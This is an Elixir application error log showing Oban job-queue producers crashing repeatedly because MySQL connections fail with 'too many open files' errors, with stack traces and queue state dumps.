[Sun Sep  6 00:01:48.028000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 863ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:01:38.240559Z], limit: 5, uuid: "75b63970-73f2-4330-98c6-55b2ff48a71f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:38.240566Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.17506>, refresh_timer: #Reference<0.2525715032.1077673987.17425>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:01:38.243671Z], limit: 3, uuid: "fde2353e-e52e-4101-ba4c-d5f36d868ace", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:38.243676Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.17507>, refresh_timer: #Reference<0.2525715032.1077673987.17496>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:01:38.242405Z], limit: 20, uuid: "5db2d348-94b3-4578-8410-dc338eb3fdce", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:38.242411Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.17504>, refresh_timer: #Reference<0.2525715032.1077673987.17478>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:01:38.241349Z], limit: 50, uuid: "7f754f34-c791-404a-a570-bf4e981612ce", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:38.241354Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.17509>, refresh_timer: #Reference<0.2525715032.1068498948.43754>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:01:38.240657Z], limit: 5, uuid: "eece2098-272a-4e9f-8775-03564aacda72", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:38.240661Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.17505>, refresh_timer: #Reference<0.2525715032.1077673987.17428>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:01:38.241689Z], limit: 10, uuid: "1eba7ed9-0787-4a5f-92a7-8036efa8d404", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:38.241694Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.17508>, refresh_timer: #Reference<0.2525715032.1068498948.43769>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:53.082000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:56.655000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:56.663000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:59.560000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:01.501000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:02:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 870ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:01:50.239933Z], limit: 5, uuid: "515c64f8-7014-4d03-a321-03f3f0a29c14", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:50.239938Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.17906>, refresh_timer: #Reference<0.2525715032.1068498948.43850>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:01:50.239132Z], limit: 3, uuid: "2b7dfdee-f870-4cc0-9805-9a50b98d3273", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:50.239137Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.17904>, refresh_timer: #Reference<0.2525715032.1077673987.17872>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:02:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
